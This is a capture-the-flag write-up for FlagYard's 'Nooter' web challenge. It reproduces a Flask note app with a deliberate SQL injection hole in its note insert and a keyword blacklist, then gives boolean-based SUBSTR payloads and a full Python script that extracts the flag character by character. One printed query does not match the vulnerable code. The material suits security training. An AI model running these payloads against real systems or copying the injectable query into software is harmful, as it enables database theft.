Published on

FlagYard - Nooter - Web

Authors

Just another note taking app :)

Following code is given for this web challenge.

from flask import Flask, render_template, request, redirect, url_for, session
import sqlite3
from sqlite3 import Error
import string
import random
import re

class Database:
    def __init__(self, db):
        self.db = db
        try:
            self.conn = sqlite3.connect(self.db, check_same_thread=False)
        except:
            self.conn = None

    def gen_random(self) -> str:
        letters = string.ascii_lowercase
        result_str = ''.join(random.choice(letters) for i in range(15))
        return result_str

    def execute_statement(self, create_table_sql) -> str:
        try:
            c = self.conn.cursor()
            return c.execute(create_table_sql)
        except Error as e:
            return e

    def create_tables(self) -> str:
        create_user_table = """
            CREATE TABLE IF NOT EXISTS user(
                id integer PRIMARY KEY,
                username text NOT NULL,
                password text NOT NULL
            );
        """
        create_user_note = """
            CREATE TABLE IF NOT EXISTS notes(
                username text NOT NULL,
                notes text NOT NULL
            );
        """
        create_flag_table = """
            CREATE TABLE IF NOT EXISTS flag(
                flag text NOT NULL
            );
        """
        if self.conn is not None:
            self.execute_statement(create_user_table)
            self.execute_statement(create_flag_table)
            self.execute_statement(create_user_note)
            return "Tables have been created"
        else:
            return "Something went wrong"

    def insert(self, statement, *args) -> bool:
        try:
            sql = statement
            curs = self.conn.cursor()
            curs.execute(sql, (args))
            self.conn.commit()
            return True
        except:
            return False   
        
    def select(self, statement, *args) -> list:
        curs = self.conn.cursor()
        curs.execute(statement, (args))
        rows = curs.fetchall()
        result = []
        for row in rows:
            result.append(row)
        return result

app = Flask(__name__)
app.config['SECRET_KEY'] = 'e66b6950164958de940d9d117f665c98'

def blacklist(string):
    string = string.lower()
    blocked_words = ['exec', 'load', 'blob', 'glob', 'union', 'join', 'like', 'match', 'regexp', 'in', 'limit', 'order', 'hex', 'where']
    for word in blocked_words:
        if word in string:
            return True
    return False

@app.route('/', methods=['GET', 'POST'])
def index():
    if 'loggedin' in session:
        msg = ''
        if request.method == 'POST' and 'note' in request.form:
            note = request.form['note']
            if blacklist(note):
                msg = 'Forbidden word detected'
            else:
                query = db.insert("INSERT INTO notes(username, notes) VALUES(?,'%s')" % note, session['username'])
                if query is not True:
                    msg = 'Something went wrong'
        notes = db.select("SELECT notes FROM notes WHERE username = ?", session['username'])

        return render_template('home.html', username=session['username'], notes=notes, msg=msg)
    return redirect(url_for('login'))

@app.route('/login', methods=['GET', 'POST'])
def login():
    msg = ''
    if request.method == 'POST' and 'username' in request.form and 'password' in request.form:
        username = request.form['username']
        password = request.form['password']

        account = db.select("SELECT * FROM user where username = ? and password = ?", username, password)
        if account:
            session['loggedin'] = True
            session['id'] = account[0][0]
            session['username'] = account[0][1]

            return redirect(url_for('index'))
        else:
            msg = 'Incorrect username/password!'

    return render_template('index.html', msg=msg)

@app.route('/register', methods=['GET', 'POST'])
def register():
    msg = ''
    if request.method == 'POST' and 'username' in request.form and 'password' in request.form:
        username = request.form['username']
        password = request.form['password']
        
        account = db.select("SELECT * FROM user where username = ? and password = ?", username, password)
        if account:
            msg = 'Account already exists!'
        elif not re.match(r'[A-Za-z0-9]+', username):
            msg = 'Username must contain only characters and numbers!'
        elif not username or not password:
            msg = 'Please fill out the form!'
        else:
            db.insert("INSERT INTO user(username, password) Values (?,?)", username, password)
            msg = 'You have successfully registered!'
    elif request.method == 'POST':
        msg = 'Please fill out the form!'
        
    return render_template('register.html', msg=msg)

@app.route('/logout')
def logout():
    session.pop('loggedin', None)
    session.pop('id', None)
    session.pop('username', None)
    return redirect(url_for('login'))

if '__main__' == __name__:
    db = Database('./sqlite.db')
    db.create_tables()
    db.insert("INSERT INTO flag(flag) VALUES (?)", "FlagY{fake_flag}")
    app.run(host='0.0.0.0', port=5000)

For the code we can understand that there is an option to register a user and login. After that we can add notes that will be stored in a sqlite3 database. We can try SQL injections and see if we can reach the flag.

There is a vulnerability in the notes addition functionality where in the SQL query the note parameter is being passed using the %s string formatter which can lead to injection. The session['username'] is being passed correctly using ?.

query = db.insert("INSERT INTO notes(username, notes) VALUES(?,'%s')" % note, session['username'])

When we enter a note following post request is generated.

POST / HTTP/1.1
Host: ac58b452935df14eb8f4b.playat.flagyard.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:131.0) Gecko/20100101 Firefox/131.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 24
Origin: null
Connection: keep-alive
Cookie: _ga_0E623T8GQZ=GS1.1.1729606677.24.1.1729606834.0.0.0; _ga=GA1.2.437942595.1726392353; _gid=GA1.2.1386013743.1729606679; session=eyJpZCI6MiwibG9nZ2VkaW4iOnRydWUsInVzZXJuYW1lIjoidGVzdFwiT1IgMT0xIC0tIC0ifQ.Zxe4LQ.fVRknFS5cXX1x3HIOww-v9noCUo
Upgrade-Insecure-Requests: 1
Priority: u=0, i

note=this is a test note

We use the payload 'OR '1'='1 which makes gives us 1 as output in the frontend confirming its executing sqli injection.

We can use the payload ' OR SUBSTR((SELECT flag FROM flag), 2, 1) = 'L to know the correct characters of the flag. The final query becomes :

SELECT * FROM users WHERE username = '' OR SUBSTR((SELECT flag FROM flag), 1, 1) = 'F')

Script to extract the flag :

import requests
import string

# Base URL of the application
base_url = "http://ac58b452935df14eb8f4b.playat.flagyard.com/"
register_url = base_url + "register"
login_url = base_url + "login"
add_note_url = base_url

# Characters to test for the flag
charset = string.digits + string.ascii_letters + "{}_"
flag = ""
position = 1

# Account credentials (use one account for the entire process)
username = "test"  
password = "test" 

# Session for persistence
session = requests.Session()

# Function to login
def login():
    login_data = {"username": username, "password": password}
    response = session.post(login_url, data=login_data)
    if "Welcome" in response.text:
        print("[+] Login successful!")
    else:
        print("[-] Login failed.")
        exit()

# Function to test if a character is correct at a specific position
def test_char_for_position(char, position):
    payload = f"' OR SUBSTR((SELECT flag FROM flag), {position}, 1) = '{char}"
    data = {"note": payload}
    response = session.post(add_note_url, data=data)

    # Extract reflected values (0s and 1s) from the response
    reflected_values = [val for val in response.text if val in ('0', '1')]

    # If we find a 1 as the last reflected value, the character is correct
    if reflected_values and reflected_values[-1] == '1':
        print(f"[+] Correct character at position {position}: '{char}'")
        return True
    return False

# Log in once using a single account
login()

# Extract the flag character by character
while True:
    found_char = False
    for char in charset:
        if test_char_for_position(char, position):
            flag += char
            print(f"[+] Flag so far: {flag}")
            position += 1
            found_char = True
            break
    
    if not found_char:
        print("[*] Flag extraction complete!")
        break

print(f"\n[+] Extracted flag: {flag}")